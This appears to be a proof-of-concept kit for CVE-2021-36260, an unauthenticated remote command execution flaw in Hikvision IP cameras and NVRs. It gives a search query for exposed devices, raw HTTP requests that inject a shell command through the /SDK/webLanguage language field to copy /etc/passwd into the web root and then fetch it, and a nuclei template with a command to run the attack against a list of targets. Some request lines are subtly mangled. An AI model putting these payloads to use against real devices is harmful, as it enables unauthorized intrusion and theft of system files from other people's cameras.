app="HIKVISION-视频监控"

PUT /SDK/webLanguage HTTP/1.1User-Agent: python-requests/2.31.0Accept-Encoding: gzip, deflateAccept: */*Connection: closeHost: 172.16.114.40X-Requested-With: XMLHttpRequestContent-Type: application/x-www-form-urlencoded; charset=UTF-8Accept-Language: en-US,en;q=0.9,sv;q=0.8Content-Length: 91<?xml version="1.0" encoding="UTF-8"?><language>$(cat /etc/passwd>webLib/passwd)</language>

GET /passwd HTTP/1.1User-Agent: python-requests/2.31.0Accept-Encoding: gzip, deflateAccept: */*Connection: closeHost: 172.16.114.40X-Requested-With: XMLHttpRequestContent-Type: application/x-www-form-urlencoded; charset=UTF-8Accept-Language: en-US,en;q=0.9,sv;q=0.8Content-Length: 91<?xml version="1.0" encoding="UTF-8"?><language>$(cat /etc/passwd>webLib/passwd)</language>

nuclei.exe -t "C:UsersAdministratorDesktopCVE-2021-36260.yaml" -l url.txt

id: CVE-2021-36260

info:
  name: 海康威视IP摄像机/NVR设备固件远程代码执行漏洞(CVE-2021-36260)
  author: ghosinshell
  severity: critical
  description: 漏洞是因为对输入参数检验不充分，未经身份验证的攻击者通过构造恶意命令请求包发送到受影响设备，即可实现远程命令执行。
  tags: 海康威视,hikvision, 代码执行漏洞
  reference:
    - https://github.com/ghosinshell/Nuclei-POC   

http:
  - raw:
      - |
        PUT /SDK/webLanguage HTTP/1.1
        User-Agent: python-requests/2.31.0
        ccept-Encoding: gzip, deflate
        Accept: */*
        Connection: close
        Host: {{Hostname}}
        X-Requested-With: XMLHttpRequest
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Accept-Language: en-US,en;q=0.9,sv;q=0.8
        Content-Length: 91
        
        ?xml version="1.0" encoding="UTF-8"?><language>$(cat /etc/passwd>webLib/passwd)</language>
      - |
        GET /passwd HTTP/1.1
        User-Agent: python-requests/2.31.0
        Accept-Encoding: gzip, deflate
        Accept: */*
        Connection: close
        Host: {{Hostname}}
        X-Requested-With: XMLHttpRequest
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Accept-Language: en-US,en;q=0.9,sv;q=0.8
        Content-Length: 91

        ?xml version="1.0" encoding="UTF-8"?><language>$(cat /etc/passwd>webLib/passwd)</language>

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 200 && status_code_2 == 200"
          - "contains(body_2, 'admin')"
        condition: and
    extractors:
      - type: regex
        part: body
        regex:
          - "(.*)"